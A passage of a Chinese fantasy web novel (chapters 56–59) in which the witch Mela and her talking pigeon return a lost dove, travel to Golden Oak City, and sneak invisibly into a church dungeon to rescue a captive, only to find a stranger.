塞拉斯抗议道,“我才不想和它成为朋友!” 不提别的,就提灰鸽喜欢的是现在这副样貌的塞拉斯,四舍五入那不就是它喜欢百合小姐吗?这样一看,它和塞拉斯明明是情敌好不好。 “我们还是快点把它送走吧。”塞拉斯迫不及待地催促道。 “好好好。”梅拉拿塞拉斯没办法, 只好向立在床边的灰鸽伸手。 原本梅拉还担心它对除了主人之外的人有所抵触, 没想到灰鸽看了看被梅拉用右手抱在怀里的塞拉斯,便自发落到了梅拉伸出的左手上。 倒是省了梅拉捉它的功夫。 这下梅拉怀里一共抱着两只鸽子了。 “我就不能到你的肩膀上去吗?”塞拉斯看着近在咫尺的灰鸽,伸长了脖子想要和它拉开距离。 “不行。”梅拉毫不留情地一口回绝。 万一待会儿灰鸽也闹着要站到她的肩膀上怎么办? 两只鸽子怕不是能硬生生地将她的肩膀压垮。 梅拉走出房门,一路来到大街上, 按照塞拉斯之前说的,找到了它一开始遇到灰鸽的地方。 黑绵羊镇最大的一座旅舍。 哪怕只是站在大门外,都能通过肉眼判断出这座旅舍与梅拉昨晚住的那间小酒馆完全是云泥之别。 提着茶壶的侍者穿行在客人之中,不断有穿着体面的商人在通往二楼的木梯上下,结实的木板并不会发出随时都要坍塌似的声响。 空气中甚至浮动着一层浅淡的皂香。 梅拉透过人群,看见一个胳膊十分有力的中年妇人正抱着一堆床单往更深处走去。 如果不是为了要掩藏身份——一个能住进大旅舍的有钱人和一个只能住小酒馆的穷人相比,明显是前者更加让人印象深刻——梅拉当然更愿意住进这种地方。 只不过,也就是想想罢了。接下来如无意外,她们大概还得继续挑破旧的小酒馆住下去。 梅拉在心底叹了口气,接着认真观察起旅舍内众人的表情。 像梅拉这样大喇喇地站在旅舍的门口,当然有不少客人注意到了她的存在,然后顺理成章地盯上了她抱在怀里的两只鸽子,却没有任何人露出熟悉的神色。 仅仅是在眼中划过一抹好奇。 糟糕,难道真让塞拉斯给说中了,灰鸽的主人并不在这里,它是无意间飞到这来的?又或许它的主人已经走了,她们来迟一步? 乌鸦嘴的威力果然不容小觑。 忽然,站在柜台后大腹便便的中年男人伸手招来侍者,又指了指梅拉,似乎说了几句什么,梅拉听不清,下意识以为他是打算喊人来赶她走,便抬脚打算离开。 没想到那侍者急了,追在她身后喊道:“等一下!快等一下!” 梅拉听着那道声音越来越近,十分疑惑地转身,“你是在叫我吗?” “没错,就是你,你抱着的这只灰鸽子是从哪里弄来的?”侍者急吼吼地问道,态度说不上有多好,仿佛认定了这只灰鸽子是梅拉偷来的一样。 “它是我在这附近碰到的。我看这只鸽子脚上绑着什么东西,想着应该是有主的宠物,所以你是它的主人吗?那我把它还给你好了。” 梅拉面上装得十分无辜,为了解除自己的嫌疑,还主动把灰鸽往前递,似乎打算交还给侍者。 结果灰鸽根本不愿到侍者张开的掌心里,扑腾几下躲到了梅拉的肩膀上,看得塞拉斯简直两眼冒火。 要不是它在外头得装成一只没法说话的傻鸟,这会儿一定骂骂咧咧地开口了。 “我不是它的主人,但它的主人也许是住在我们旅舍里的客人。”见状,侍者讷讷地收回手。 刚才店主告诉他,这只灰鸽子极有可能是某位重要的客人正在寻找的宠物时,他想也不想便追了出来,就是想着如果能带着它到那位客人面前,说不定会得到一笔十分慷慨的打赏。 但现在看来,他打响的算盘珠子注定是要落空了。 侍者只能将梅拉带到店主面前,由店主亲自带着她上了三楼,敲开了一间并没有紧闭的房门。 “谁?”说话的是一个听上去有些年纪的男人。 “卢尼先生,您先前派人到处寻找的灰鸽我们或许已经找到了。”哪怕没有见到人,店主依然格外谄媚地弯下腰,同他口中的卢尼先生对话。 他也不愧是个能办起这么大一座旅舍的精明人,说话总是记得给自己留三分余地,他分明笃定了梅拉带来的这只灰鸽子就是卢尼火急火燎要找的那只,偏偏就是不肯把话说死。 或许,可能,若是他找错了,也还有推脱的余地。 梅拉则看着棕色的马甲底下快要崩开的衬衫扣子,以及露出一角的油腻肥肉,默默地收回了视线。 她有些好奇地等着店主口中的“卢尼先生”来开门。 然而一阵更急促的脚步声响起,率先拉开门的是一位个子不算高挑的少年。 他比梅拉还要矮一些。 但那张漂亮的脸蛋完全可以弥补身高的不足,达到赏心悦目的程度。 白色的绸布在他的脖子上系了个完美的结,让他即使微抬着下巴看人,也不会令人觉得反感,只会认为他简直矜贵得像只猫。 “我的鸽子在哪里?” 他开口,语气是意料之中的傲慢。 店主忙让开身体,露出身后的梅拉,“在这位小姐手里。” 他于是看向梅拉。 梅拉便伸出手,让藏在头发后的灰鸽站到她的手上,递给了少年。 “这是你的鸽子吗?” “小灰!”他惊呼一声,迫不及待地伸出手。 灰鸽果然不似先前对侍者的抗拒,而是轻车熟路地跳到了他的掌心中,顺带用自己的脑袋拱了拱主人,撒了个小小的娇。 “太好了,克伦少爷,您的鸽子找回来了。” 此时,卢尼也来到了门口,他看起来大概有三十多岁,面容算不上英俊,但那双棕色的眸子里显然沉淀着不少阅历带来的稳重,让他看起来十分可靠。 按理说,事情进行到这一步,该轮到卢尼对梅拉这个帮他们找回鸽子的好心人提出答谢才对,但比他抢先一步的是克伦。 克伦用审视的眼神上下打量着梅拉,这个看起来长相普普通通,衣着同样朴素得他不愿意再看第二眼的年轻女人,“你是故意掳走我的小灰的吧?我的小灰受过专门的训练,绝不会轻易离开我的身边。你特意带走它,又将它带回来的目的是什么?是想向我索要钱?一份好差事?还是其它的东西?” 感受到来自克伦的敌意,梅拉只觉得莫名其妙,他们好像是第一次见面吧? 面对克伦咄咄逼人的质问,梅拉一反常态,作出怯懦的神态,“抱歉,我想你大概是误会了,我并不知道这只灰鸽子值多少钱,只是看它脚上绑着东西,想着它或许是有主人的,才在这附近试图帮它找到主人而已。” “我是在旅舍门口被侍者叫住的。”梅拉怯生生地看向店主,滑溜地把烫手山芋甩到了他的手上。 店主忽然接过话题,嘴唇烫得像是有火在烧,忙道,“没错没错,是我看见她抱着一只灰色的鸽子站在我们旅舍的门口,想着灰鸽子虽然不罕见,但正好卢尼先生要找一只灰鸽子,就有这么巧的事情送上门,干脆就将她和她的鸽子带上来了。” 结果么,显而易见,梅拉抱着的就是卢尼他们在找的那只鸽子。 克伦听了,还要不依不饶地说些什么,这回却让卢尼先一步打断:“克伦少爷!既然您的鸽子找到了,那您也该去收拾东西了,我们接下来还要赶路,尽量不要再耽搁下去了。答谢的事情,就让我来和这位小姐谈吧。” 克伦看了卢尼一眼,也知道自己先前的任性属于理亏的一方,于是扁了扁嘴,不情不愿地越过卢尼回到了房间中。 从房间里传来的乒乒乓乓的声响来看,这位克伦少爷的心情应该非常地不美妙。 但梅拉的心情很美妙。 只不过当卢尼用和善的语气问她想要多少钱,打算用钱打发她时,梅拉并没有放弃原本狮子大开口的计划:“我说过了,我也不知道这只灰鸽子值多少钱呢,不如就按你们心中觉得它值得的价格来算好了。” 普通的鸽子当然不值多少钱。 但克伦养的这只是信鸽。 而明眼人都能看出来,克伦对这只灰鸽子的喜爱,那么它的价值还要再翻一番。 如果卢尼只是拿几枚铜币简单打发了梅拉——就得忍受一旁的店主给他们在心里安上吝啬的名头了。 越在乎面子的人,越不能忍受别人的腹诽。 梅拉打赌卢尼会给出一笔不错的报酬。 事实上,正如梅拉所料,卢尼不仅给了她一笔丰厚的钱,还是一笔足以惊掉店主下巴的钱。 梅拉走出旅舍,心满意足地摩挲着比她们出门之前还要变得更重一些的钱袋,心情颇好地道:“我有预感,我们今天的幸运不会到此为止。” 后头还有更好的事情在等着她们呢。 第57章 第 57 章 [抵达金橡城] “太好了, 我们终于赶到金橡城了。” 年轻的男人望着不远处灯火辉煌的城池,忍不住露出了激动的神情。 马车的车窗被打开,梅拉和塞拉斯一同探出头来,同样露出了欣喜的神色。 这三天他们一直赶路, 就为了赶上明天雷德克里夫领的领主, 萨雷伯爵的生日。 听说每年的伯爵生日,都会在庄园内举行一场盛大的宴会, 而常年呆在金橡城的埃布纳主教也会在此时离开教会, 前往雷德克里夫庄园为萨雷伯爵庆生。 “我们先进城找座旅舍休息吧?”男人回过头, 和梅拉商量道。 梅拉没有意见。 男人于是轻车熟路地驱赶着马匹来到一座小旅舍的门口, 熟稔地和听到声音走出来的店主打招呼, “嘿,奈夫,快给我的马儿准备些好吃的, 最好是今天剩下的新鲜豆饼, 它快饿坏了。” “我看是你伊桑饿坏了才对。”叫做奈夫的男人笑了笑,眼角裂开数道皱纹,他的年纪不小了,看上去有四五十岁,但他招手叫来了自己的小儿子,竟然还是个半大孩子。 “欧文,快把你伊桑叔叔的马牵去后头的马厩里, 喂它吃我们旅舍特有的美味豆饼。” 欧文沉默地点头, 熟练地上来接过缰绳,就要牵着马车到马厩去。 “等等。”伊桑伸手拦了一下,让马车内的梅拉抱着塞拉斯出来了。 “嚯,我还是第一回见你小子带了女人出门。”奈夫用调侃的眼神看向伊桑。 伊桑就知道他会想歪, 急忙解释道,“梅娜是我的恩人,如果不是她借钱给我修好了马车,我恐怕就赶不上今年萨雷伯爵的生日了。” “还有这回事。”奈夫的眼神变了,略带奇异色彩地打量着衣着朴素的梅拉。 “那可真是你们俩的缘分了。” “好了,要说缘分,当年我第一次来金橡城就选中了你的旅舍岂不也是一种缘分。”伊桑的手搭到奈夫肩头,半拉半带地和他一同进入旅社内部。 梅拉带着塞拉斯,刚踏入旅舍就有一脸和蔼的老妇人上前,引着她前往二楼可以休息的空房间。 “呼,这几天在伊桑面前不能说话可真是憋死我了。” 塞拉斯趴在床上,尽管床单和被子看得出来有些使用年头了,但让人搓洗得很干净,一点难闻的味道也没有。 枕芯里是塞得满满当当的稻草,塞拉斯往上一扑,还有一点焦黄的草叶飞出来,勾着塞拉斯玩得不亦乐乎。 梅拉见状,赶紧把塞拉斯拎开,“不许玩枕头。” 否则她明天要怎么和店主夫妇解释,住了一晚枕芯没了一半,不懂事的孩子才这么干。 “噢。”塞拉斯被拎起来,顿时变乖了,再三向梅拉保证它不会再这么做了之后,才终于重新回到床上瘫成一块面饼。 塞拉斯躺在床上,回顾她们把灰鸽送回去,本以为接下来要在黑绵羊镇白白消磨一天,没想到就在街上遇到了倒霉的伊桑。 像伊桑这样只有一辆马车的小商人,通常自己就是车夫,偶尔还要自己上手敲敲打打修些马车的小毛病,但眼下碰到车轮出了问题,伊桑也只能欲哭无泪地将马车停在街边,摸着自己买完货物后干瘪的钱袋子,心急如焚。 这批货是他特意买下打算运到金橡城去卖的,趁着萨雷伯爵的生日,能比平常多赚至少四五枚银币,但这也意味着他只有把东西卖出去了才能收回砸出去的钱,这会儿他就算想把货退了,将钱拿回来先修好马车,也只会遭到拒绝。 怎么办?伊桑咬咬牙,甚至想着不然就去借一笔钱,哪怕这次白跑一趟,赚到的钱只能全部拿来还钱,起码先把眼前的难关给度过去再说…… “呀,这是怎么回事?”梅拉抱着塞拉斯忽然停下,一脸惊讶地同伊桑搭话。 “正如你所见,我的马车坏了。”伊桑苦笑道。 “不能修好吗?保养得这么好的马车,真是可惜了呢。”梅拉故作遗憾地道。 是啊,真可惜,这些年伊桑可以说是比珍惜自己还要珍惜这辆马车,磕了碰了一丁点都要心疼上半天。 “要是有人忽然给我一笔钱就好了……”伊桑喃喃。 原来是缺钱啊,但她有啊。梅拉浅浅勾起一个笑,“我这里倒是有一笔钱,不知道够不够修好马车……” “哈?”伊桑让梅拉的大方吓了一跳,他上下打量梅拉的衣着,也不像是富裕的样子,“我们只是才说过几句话的陌生人,你为什么要给我钱?” “其实是这样的……”梅拉垂下眼帘,将早就编好的身份搬出来。 梅拉自我介绍道她叫梅娜,住在附近的村子里,原本想要到黑绵羊镇投奔亲戚,结果这两天来了镇上一打听,才知道她的亲戚早就举家搬迁到金橡城去了。 “金橡城?正好,我也要到那去。”伊桑傻乎乎地上钩了,主动提出若是梅娜借钱帮他修好马车,他就捎上梅娜一起前往金橡城。 “真的吗?那可真是太好了。”梅拉笑盈盈地从钱袋子里掏出热乎的几枚银币,即之前从卢尼手中拿到的那笔报酬,还体贴地询问伊桑这点钱够不够,不够的话她还能再掏几枚银币出来。 “够了够了。”伊桑看着银光锃亮的几枚银币,就像行走在沙漠中的旅人看到了绿洲一样,眼睛都快看直了。 同时商人的狡猾和多疑又在提醒着他,梅拉怎么会拿得出这么多钱,里面该不会有什么问题吧。 “这笔钱是刚才一位好心的先生给我的答谢,说谢谢我帮他家少爷找回了他心爱的宠物。”面对伊桑暗暗的打探,梅拉坦诚道。 她这回可一个字都没说谎。 鞜樰證裡甚至还能找到旅舍的店主做人证。 伊桑见梅拉的态度如此坦然,也觉得她不像是个骗子,顿时高高兴兴地捧着钱去找人了。 于是等马车修好后,梅拉就带着塞拉斯坐上了伊桑的马车,和货物一起,紧赶慢赶地来到了金橡城。 “所以,艾莉卡就在金橡城是吗?”塞拉斯翻了个身,看向站在窗边的梅拉。 她刚洗了个热水澡,脸蛋不免因为水汽蒸腾,有些红扑扑的,半干的头发被她随手卷到一起,松松地扎了条辫子垂在身前,偶尔洇出一点水痕在衣服上。 被夜风一吹,倒也很快就重新恢复了干爽。 “水晶球是这么告诉我的。东南方向,流动着财富与黄金的城市,围绕着难以逾越的权势,而种子指示的人则被困在一个幽深的、阴暗的地方。”梅拉将水晶球给出的信息一一说了出来。 雷德克里夫领就在黑暗森林的东南方向,而金橡城则是领地内最繁华的城池,即使没有萨雷伯爵的生日,这里也日日来往着从各地运送货物而来的商人,显然很符合前两个条件。 至于围绕着难以逾越的权势,金橡城城外就是雷德克里夫家族世代传承的庄园,城内则有一名颇有名声的红衣主教驻扎在教会之中,不管从哪个方面看,梅拉应该都没有找错地方。 “幽深、阴暗、幽深……”塞拉斯的关注点落在了梅拉的后一句,它不断重复着这两个重要的词,随即悚然一惊,“难道她是被关在地下室一类的地方?” “或许吧。”梅拉凝望着窗外的夜空,“今晚的天气不好,星星都快看不见了。” 如今没有水晶球在身边,梅拉只能试图通过星星们获取一些有关未来的讯息,但她十分艰难地才能找到几颗星星,何尝不是星星在告诉她,她明天想救下艾莉卡这件事必然困难重重。 “不会有危险吧?”塞拉斯这会儿总算意识到,梅拉救人这一行为无异于主动走入险境之中。 它本来还想着,有自己在,到时候带着梅拉和艾莉卡逃跑完全是小事一桩。 等到时候它带着她们飞到天上,就算骑士的弓弩再好使,也绝对没法伤害到她们。 “别怕,虽然想要完成这件事注定会困难重重,但也不是一点希望都没有。”梅拉走过来,拎起塞拉斯塞入怀中,不断抚摸着它的羽毛,给予它安慰。 “如果我真的没办法救出艾莉卡,那我是不可能找到任何一颗星星的下落的。” 那意味着星星都在告诉梅拉,前方是死路一条。 但现在么,不过是过程困难了一点,梅拉相信她一定能救出艾莉卡的。 “那,你有怀疑的地点吗?”塞拉斯又问。 她们总不能明天挨家挨户地去找关着艾莉卡的地下室吧? “唔。”梅拉陷入沉吟,其实不管是雷德克里夫庄园还是金橡城内的教会都各自有一半的可能,毕竟无论是埃布纳主教还是萨雷伯爵两方都有想要抓女巫的动机。 但两相比较之下,梅拉觉得还是教会更有可能一点。 “为什么?”塞拉斯不解。 “你想想,当初在白松镇的时候,是格奥鲁多主教对抓住我更上心,还是菲斯特子爵更上心呢?”梅拉循循善诱道。 塞拉斯回想起当初,隐隐有了明悟,“是格奥鲁多主教!” 如果不是因为菲斯特子爵不愿意大费周章地派出人手,格奥鲁多主教为了说服他费了一点时间,梅拉还未必能顺利带着塞拉斯逃离白松镇。 那时候,菲斯特子爵派出来的骑士意识到不对,再加上塞拉斯逃跑的消息传出来,他们立刻骑着马找上了山。 塞拉斯当时因为受了伤,没法飞起来,光靠梅拉的两条腿,想跑过四条腿的马无异于异想天开。 幸好它提前给梅拉报了信,让梅拉做了一些准备,一人一鸟才躲过了骑士们的搜查,一路往黑暗森林的方向曲折前进着。 总之,同样的情况下,显然是教会的人对女巫更感兴趣。 尽管塞拉斯也不知道他们这么想要抓住女巫是为了干什么,但一定不是想要干好事就对了。 所以,梅拉说艾莉卡被关在教会内的可能性更大应该是没错的。 “实在找错地方了也没关系,夜晚很长,足够我们重新前往雷德克里夫庄园。”梅拉又道。 只是这样的话,留给她们平安逃离的时间会变得很少很少。 但这种会让塞拉斯担心的话,被梅拉吞回了肚子里,到时候不管情况怎么样,她也会保证让塞拉斯安全离开。 因此,梅拉让塞拉斯老实躺到枕头上,她去吹灭了桌子上那盏燃烧着棉芯的煤油灯,黑暗骤然笼罩了这间小小的屋子。 “晚安,塞拉斯,祝我们明天一切顺利。” “晚安,梅拉,我们明天一定会顺利的!” 第58章 第 58 章 [进入教会救人] 萨雷伯爵生日当天, 金橡城比梅拉想象得还要热闹。 当她从二楼下来,发现旅舍的大厅竟然坐满了客人。 “梅娜,伊桑早早就带着他的货出门了,他特地给你点了一份奶油蘑菇汤和白面包。但现在没有空余的桌子, 如果你不介意的话, 就跟着欧文一起到厨房去吧。” 奈夫原本正在柜台后记账,忽然看见梅拉的身影, 便扯着嗓子叫住了她, 顺便还叫住了提着茶壶往厨房走去的欧文。 梅拉当然不介意在厨房用餐。 她跟着欧文来到狭小的厨房。 就见欧文手脚麻利地先将水壶放到一旁, 又给灶里添了柴火, 然后才给她用托盘端来了一碗浓稠的奶油蘑菇汤, 以及一块切成巴掌大的白面包。 梅拉单手接过托盘,另一只手拿起勺子先喝了一口汤,惊讶地发现它竟然还余有一点温热。 “是伊桑叔叔特意叮嘱我用刚烧完的灰烬给你温着早餐的。”看起来不怎么爱说话的欧文忽然憋出一句, 似乎是想在梅拉面前给他亲爱的伊桑叔叔说好话。 梅拉被逗笑了, “这样啊,那谢谢你了,还有伊桑。” 欧文张了张嘴,觉得梅拉的反应似乎不太对,但他一向被奈夫叫作“笨舌头”,也不知道还能替伊桑再说些什么可以趁机博得梅拉好感的话,最后只好又把嘴巴紧紧闭上了。 反倒是梅拉, 像是忽然来了谈性, 问了欧文好几个问题。 譬如他们一家是不是一直生活在金橡城,他知不知道城里哪里比较好玩之类的。 欧文悄悄在心底松了口气,这些都是客人们常问的问题,他早已能轻车熟路地做出回答。 “那最近城里有没有奇怪的事情发生?”梅拉忽然问道。 “奇怪的事情?”欧文不明所以地挠了挠脸, 却忘了手上还沾着煤灰,不慎在脸上擦出了黑黑的一道痕迹。 他连忙手忙脚乱地用袖子把脸上的黑痕擦干净,同时不忘回答梅拉的问题,“抱歉,我每天都要在旅舍帮忙,我也不知道城里有没有发生过什么奇怪的事情。” “没关系,我就是随便问问。”梅拉笑眯眯地将用完的餐具放到灶台上空出的一角,便打算到街上去看看。 意料之中的,街上到处都是人,梅拉挤入人潮之中,时不时就能听见一声惊呼,大概是谁不小心被踩了一脚。只不过在这种情况下,苦主也只能自认倒霉了。 梅拉倒是一向幸运,顺利地逛完了金橡城内主要的街道,而她还在往前走着,朝城中最显眼的建筑,即教会走去。 金橡城的教会明显富得流油,用最华丽的装饰吸引着每个走入城内之人的视线,与此同时,洁白的大理石线条硬朗,严丝合缝的墙面则突出了别样的利落与雄伟,很好地中和了金碧辉煌所带来的奢靡气息。 梅拉停在了离教会不远处的小摊子上,没有靠近,这会儿并不是她进入教会内部的最好时机,不如先简单观察一下如何才能最快地绕过最前端的教堂,抵达后面的建筑。 心中大致有数后,梅拉毫不留恋地转身离开。 “少爷,您在看什么?”卢尼从教会中走出来,看着克伦身姿挺拔地立在教会的大门前,正盯着某处,不由疑惑地问道。 “我好像看到了那个红头发的女人。”克伦眯了眯眼,道。 “哪个红头发的女人?”卢尼一时没有反应过来。 红发这一特征尽管不算常见,但在大一点的城镇中,倒也没有那么特殊,大概一百个人里就有十个人顶着一头深浅不一的红发。 因此克伦忽然提到一个红发的女人,卢尼便一时难以将他的话与他们之前在黑绵羊镇遇到的女人联系起来。 克伦无语地瞥了卢尼一眼,“就是把我的小灰拐跑的那个女人。” “噢,是她啊,她也来了金橡城吗?”卢尼终于想起来了这号人。 “我相信我绝不会看走眼。”克伦道。 那就是她真的来了金橡城。卢尼若有所思地点头。 “不过这也没什么好奇怪的,我可给了她一大笔钱,足够她来这里做笔小买卖了。” “……我想问的是这个吗?我为什么要在意她拿钱去干了什么。”克伦深吸一口气,只觉得自己脑门上的太阳穴正因为卢尼的话而一跳一跳的。 “不是吗?”卢尼也很不解。 “……算了,我们还是来聊聊验货的问题吧。” “那我可能得跟您说个不算太好的消息了,埃布纳主教不知是出于怎样的原因,提前一步去了雷德克里夫庄园,得等他回来了才能验货。” “他什么时候会回来?”克伦皱起了眉头,很是有些不耐烦。 “这我就不知道了。”卢尼无奈地摊手。 在身份上,埃布纳主教就不是能和他们平起平坐的人,他的去向怎么可能随意透露给他们呢? 更别提埃布纳主教还是主动来和他们做的这笔买卖,他们的地位可以说是非常被动了。 “……我知道了。我们先回去吧。”克伦有一瞬捏紧了拳头,又很快松开了,只有脸色比任何时候都要臭。 * 很快到了晚上,梅拉并没有回旅舍,她早在出门前就吩咐过塞拉斯,等天色一黑,它就通过窗子飞出来,负责在教会附近接应她们,如果她能够顺利救出艾莉卡的话。 这会儿梅拉拿着热乎的馅饼,站在街道的拐角,眼角的余光瞥见一抹白色的身影飞过,立刻意识到那就是塞拉斯了。 于是她三两口将馅饼解决掉,悄无声息地从拐角处钻出来,直奔教会而去。 因为喝下了隐形药剂的缘故,此刻在周围人的眼中是无法捕捉到梅拉的存在的,只不过隐形药剂的效果只有三个小时,梅拉必须得抓紧时间。 她按照白天策划好的路线,通过教会的大门,绕开最外围的教堂,一路来到后头的建筑群中。 一个个类似的房间整齐划一地排列成气派的建筑,却给梅拉的寻找带来了不小的困难。 她没办法一个房间一个房间地找过去。 那样即使花三个小时也找不完。 想到这,梅拉摸向腰间的袋子,准确无误地摸到了那粒生命之种。 在过去的这几天里,它又长出来了几片翠绿的嫩芽,代表着艾莉卡的生命力流逝得更严重了。 但也增加了梅拉通过它感应艾莉卡的可能性。 眼下,梅拉只能依靠所谓的直觉,和生命之种与艾莉卡的联系,不断变换着前进的方向。 然而所谓的联系非常模糊,梅拉只能大概感觉到她是离艾莉卡更近了,还是离艾莉卡更远了,为此她还走了不少弯路,甚至差点在某条走廊的拐角处和一名行色匆匆的神父撞上。 梅拉迅速地往后退了一步,同时用手捂住了自己的嘴巴,压住了那声下意识的惊呼。 “奇怪?我刚刚怎么好像听到了一道呼吸声?”神父停下脚步,左右打量了一遍,发现空旷的走廊上只有他一个人,哪来的第二道呼吸声呢?或许是错觉吧。 他如此自我安慰着,很快提起脚步,重新走远了。 这时候,梅拉才继续往他来时的方向走去。 走着走着,梅拉就摸到了类似于花园一样的地方。 她此刻依然觉得艾莉卡似乎与她还有一段距离。 总不能她真的找错了地方,艾莉卡并不在教会吧? 梅拉狐疑地想到。 可她很快又否定了自己的想法,总得往地下查看一遍才行。 可放眼望去,偌大的花园尽是摇曳的鲜花,梅拉也没法凭空变出一把铁锹来,就地挖掘。 何况这动静也太大了,难免吸引到其他人过来。 梅拉只好沉下心,仔细地在花园里走了一圈,试图寻找可疑的蛛丝马迹。 结果还真在一架秋千下发现了泥土松动的迹象。 教会的人什么毛病,为什么要把地下室藏在这种地方?梅拉一言难尽地想到。 然而就在她打算动手,想找到地下室藏在地底的门时,远处忽然传来一阵脚步声。 梅拉只好先退到了角落里,暂时观察情况。 借着月光,可以清楚地看出这一批人一看就不属于教会,也不知道他们到底是怎么混进来的。 但他们或许也害怕被人发现,动作迅速地盯着某一处就开挖,很快便把盖在木门上那一层薄薄的土给挖开了,还露出了生锈的拉环。 一个身材高大的男人走上前,掏出了一把青铜钥匙,对准锁孔轻轻一拧。 接着一左一右立刻就有两个人走出来,费劲地把门打开了,露出幽暗深邃的通道。 “老大,你确定埃布纳偷偷在这里藏了数吨黄金吗?” 在众人下去前,其中一个男人忍不住问道。 “废话,要不是知道这个消息千真万确,我用得着这么大费周章,又是买通教会的人,又是带着你们来挖土吗?行了,快别啰嗦了,埃布纳那老家伙好不容易离开教会,我们赶紧下去把黄金搬走。”携带钥匙的男人唾了一口,率先沿着阶梯走了下去。 其他人立刻跟在他的身后,一起走了下去,只留下黑洞洞的通道口,和周围一圈新挖的泥土。 这时候,躲在角落里的梅拉也意识到她找错了地方,这里纵使有一个地下室,那也不是关着艾莉卡的地下室。 完蛋,隐形药剂的药效还剩一个半小时,她却不知道该回到哪个地方重新找起。 就像走入了一座迷宫,拐错了一个弯,就再也找不到先前经过的路口了。 想到这,梅拉咬牙,松开了按在袋子上的手,这回她全凭感觉走,或许能通过直觉得到一个不一样的结果。 与此同时,雷德克里夫庄园,萨雷伯爵挽留无果,只好看着埃布纳主教上了马车,朝着金橡城的方向返回。 第59章 第 59 章 [救人结束] 梅拉又绕回了最开始就被她略过的教堂。 此刻的教堂里自然是空无一人, 梅拉小心翼翼地推开一条缝,沉重的铁门蹭过地面,发出巨大的声音,好在周围暂时并没有人经过。 梅拉闪身进入教堂内, 铁门重新在身后“咚”的一声合上。 作为教会展示于人前的脸面, 这座教堂光从外部看便已经壮丽不已,等梅拉亲自走入内部, 即使是没有信仰的女巫也忍不住为墙壁上栩栩如生的浮雕, 以及高大穹顶上颜色艳丽的彩画而心生赞叹。 除了投入大量的钱财之外, 能够成功建起这样一座教堂一定还费了不少人的心血。 完全可以称作一座价值连城的艺术品的地步。 包括神坛上那座高大而华丽的雕像。 梅拉站在这座神像面前, 甚至才到它的小腿肚, 顿时生出了一种渺小之感。 同时也让梅拉有些犯难,若是有操纵密室的机关藏在神像的上半部分,她要怎么爬上去查看呢? 算了, 梅拉先绕着神像转了一圈, 手指流连过白色大理石雕刻而成的底座,尝试摸到一些不正常的凸起或是凹陷。 片刻后,无事发生。 梅拉不死心,又将神像的小腿部分摸索了一遍,仍然没有听见机关被触动的暗响。 难道她真的要想办法爬到神像的顶部吗?又或者机关其实藏在别的地方? 梅拉往下望去,一眼就能将空旷的教堂与成排的长椅收入眼底,她不觉得机关会藏在椅子底下, 否则某一日不慎被前来祈祷的信徒触发了怎么办?神父们又该怎么在众目睽睽之下同信徒们解释突然出现的门? 所以, 若是教堂内真的藏有一间密室,触发的机关一定在更安全的地方。 一个,除了知道的人之外,谁也不会在意的角落。 梅拉的手一顿, 她看着眼前这面就在神像背后的墙,毫不犹豫地朝着古怪的地方按下去,下一秒,砖块挪动,露出了藏于墙后的木门。 或许是设计这间密室的人太过自信,觉得除了他之外不会再有人来到这里,木门甚至都没有上锁。 因此梅拉只是尝试着拽了拽拉环,就露出了门后黑黢黢的甬道。 梅拉走进去,从墙上取下一个没用过的火把,只是一个简单的生火咒,就让明亮的火焰骤然点亮了这条狭长的甬道。 也不知道走了多久,尽管梅拉一直在往前,但她总有种自己离地面越来越远的感觉,墙壁上冒头的青苔在增加,空气却在火焰的燃烧下逐渐变得稀薄。 这或许也是一种故意设计的防卫手段? 若是同时进入甬道的人太多,燃起的火把太多,大概人还没走到尽头就要因为失去空气被活生生给憋死了。 突然,眼前陡然变宽,梅拉发现自己来到了尽头,这并不是一间地下室,而是一间间用铁栏杆锁上的牢房组成的地牢。 空气中浮动着淡淡的臭味,鞋底踩过的地面也有陈年的脏污,梅拉用脚尖碾了碾,果不其然嗅到了一股更浓重的血腥味。 哈,教会。 梅拉一点也不觉得意外,她早就知道他们内里是多么虚伪了。 举着火把,梅拉一路来到了地牢的最深处。 在视线快速地扫过那些空无一人的牢房时,梅拉的脚步忽然猛地停下,眼睛也不由自主地瞪大了。 在位于最深处的牢房里,她看见了一个手脚都被锁上,深红色的长发随垂着的头遮住脸,身上衣服被鞭打得破烂不堪的女人。 艾莉卡! 无声的呼喊卡在了梅拉的喉咙里。 她飞快地回过神,现在不是纠结教会的人到底对艾莉卡都干了些什么的时候,而是得想办法先把她从这鬼地方里救出来。 这对梅拉来说并不算难事,她轻而易举地打开了牢门,攥住了那双细瘦的手,帮她除去了禁锢的枷锁。 这份动静也终于将原本神智已经不太清明的女人从黑暗中惊醒,她迷蒙地抬起头,惊讶地看着这张陌生的面孔,粗哑的声音滚过喉咙,问道:“你是谁?” 梅拉同样盯着她的脸,发出了类似的疑惑:“你不是艾莉卡?” * 载着埃布纳主教的马车缓缓在教会大门前停下,穿着黑色教袍的男人慢悠悠地从马车上下来。 他就是在雷德克里夫领耕耘多年的埃布纳主教。 这些年的劳心劳力让埃布纳的两鬓已经有了数缕发白的头发,面容也难免衰老,但他都四十多岁了,老去实在是一件再正常不过的事。 尽管如此,埃布纳的野心可从未衰老。 他还梦想着有朝一日以枢机大主教的身份回到王城的教会,成为下一任教皇的有力竞争者。 为此埃布纳做了许多努力。 譬如试图抓捕一个年轻的女巫。 哎,可惜这些年女巫们都将自己的踪迹藏匿得很好,几乎全部龟缩在人迹罕见的荒野之地,想得到她们的下落实在是太困难了。 好不容易,有一个确凿的消息,即一名从菲斯特领逃出来的年轻女巫钻入了黑暗森林之中安了家,埃布纳几乎是马不停蹄地派了人手前往黑暗森林—— 却没有一个人带着他想要的人回来。 大概这些倒霉的废物全被野兽啃掉了脑袋吧。埃布纳遗憾地想。 他只能眼睁睁地看着菲斯特领的那个蠢货,格奥鲁多先自己一步回了王城。 好在格奥鲁多能被分配到菲斯特领那样毫无油水可榨的地方,就意味着他身后的靠山早就倒了,即使早早地回去了王城也对埃布纳毫无威胁。 果然,这几年过去,格奥鲁多仍然困在主教的位子上原地踏步。 而他埃布纳不仅受到命运的青睐,意外发现了一座小型的金矿,还终于用足够的好处打动了萨雷伯爵这条鬣狗,让他同意想办法支持他登上枢机主教的位子。 本来埃布纳和萨雷的目标仍然是黑暗森林的那名女巫。 为了成功捉住这样一号危险人物,萨雷成功从埃布纳手里敲了不少黄金出来。 没办法,萨雷一脸心痛地对埃布纳道,培养一名骑士可是很费钱的,从日常的训练、身上甲胄的打造,甚至为他饲养一匹好马等等,零零总总算下来,只要这名骑士还在呼吸,他就得付出一大笔钱。 而他为了完成埃布纳的计划,肉眼可见的要死一批精心培养了好几年的骑士才行。 